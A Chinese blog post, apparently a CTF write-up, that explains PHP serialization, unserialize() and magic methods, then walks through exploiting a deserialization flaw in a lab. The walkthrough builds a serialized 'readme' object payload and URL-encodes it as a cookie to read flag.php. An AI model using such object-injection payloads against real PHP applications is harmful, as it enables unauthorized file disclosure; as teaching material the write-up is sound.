UNSERIALIZE——反序列化漏洞

Unserialize反序列化

什么是序列化?

序列化 (serialize)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。
【将状态信息保存为字符串】

简单的理解:将PHP中 对象、类、数组、变量、匿名函数等,转化为字符串,方便保存到数据库或者文件中


什么是反序列化?

序列化就是将对象的状态信息转为字符串储存起来,那么反序列化就是再将这个状态信息拿出来使用。(重新再转化为对象或者其他的)
【将字符串转化为状态信息】

我们首先先认识一下一个函数
__FILE__


返回的是文件路径

show_source(__FILE__)


这是返回当前文件源码,在CTF大赛用的可能会很多

serialize()

将对象转化为字符串
当在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,保存对象的值方便之后的传递与使用。

<?php
show_source(__FILE__);
class chybeta{
var $test = '123';
}
$class1 = new chybeta;
$class1_ser = serialize($class1);
echo "<hr>";
print_r($class1_ser);
?>

O:7:“chybeta”:1:{s:4:“test”;s:3:“123”;}

这串字符的含义:变量类型;
类名长度;类名;属性变量
{属性类型;属性名长度;属性名;属性值类型;属性值长度;属性值内容}
o  表示object对象
7   表示对象名称有7个字符
chybeta 对象名称
1  表示只有一个值
s 表示 string 字符串  
4  表示test  字符串长度

这个函数

unserialize()

和序列化的serialize()刚刚好相反,是将字符串转化为对象

print_r

输出非字符串


魔术方法

php中有一类特殊的方法叫“Magic function”(魔术方法), 这里我们着重关注一下几个:

__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。(构造函数)
__destruct():当对象被销毁时会自动调用。(析构函数)
__wakeup() :如前所提,unserialize()时会自动调用。
还有一个__tostring(),只要调用了echo 来打印对象体,就回自动调用__tostring()

我们直接开始进入靶场

我们发现他是只要输入了source,就会进入第一个if分支
然后输出echo $s,再调用__tostring()方法,显示Readme.txt的内容

我们往下看,发现除了下面一个if分支,存在一个unserialize()函数
但是,它不存在echo;
我们继续往下看,发现


这里存在一个

<?php foreach($todos as $todo):?>
    <li><?=$todo?></li>
<?php endforeach;?> 

而*

  • <?=$todo?>
  • *其实是等价于echo的,我们第二个if分支调用了 t o d o s , 刚 刚 好 这 里 它 用 ∗ ∗ f o r e a c h ( ) ∗ ∗ 也 调 用 了 todos,刚刚好这里它用**foreach()**也调用了 todos,foreach()todos

    我们可能不知道这个foreach()是干嘛的,我们直接百度,知道了它是一种遍历数组简便方法

    我们看完所有代码,是不是可以去控制第二个if分支条件中的$todos,来控制反序列化,让它去读取我们想让它读取的文件呢?

    我们首先先制作出序列化好的代码,修改代码,拿到序列化过后的字符串

    <?php
    Class readme{
        public function __toString()
        {
            return highlight_file('Readme.txt', true).highlight_file($this->source, true);
        }
    }
    if(isset($_GET['source'])){
        $s = new readme();
        $s->source = 'flag.php';
    	$s = [$s];
        echo serialize($s);
    } ?>
    


    a:1:{i:0;O:6:“readme”:1:{s:6:“source”;s:8:“flag.php”;}}


    e2d4f7dcc43ee1db7f69e76303d0105c
    因为它源代码是进行了一次md5解密的,再加上一个substr(0,15)所以我们可以设置cookie传参中的$c的值了
    $c = e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:“readme”:1:{s:6:“source”;s:8:“flag.php”;}}

    因为cookie传参是要进行一次url编码的,我们编码一下,再传
    todos=e2d4f7dcc43ee1db7f69e76303d0105ca%3a1%3a%7bi%3a0%3bO%3a6%3a%22readme%22%3a1%3a%7bs%3a6%3a%22source%22%3bs%3a8%3a%22flag.php%22%3b%7d%7d

  • 3
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

猫鼠信安

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值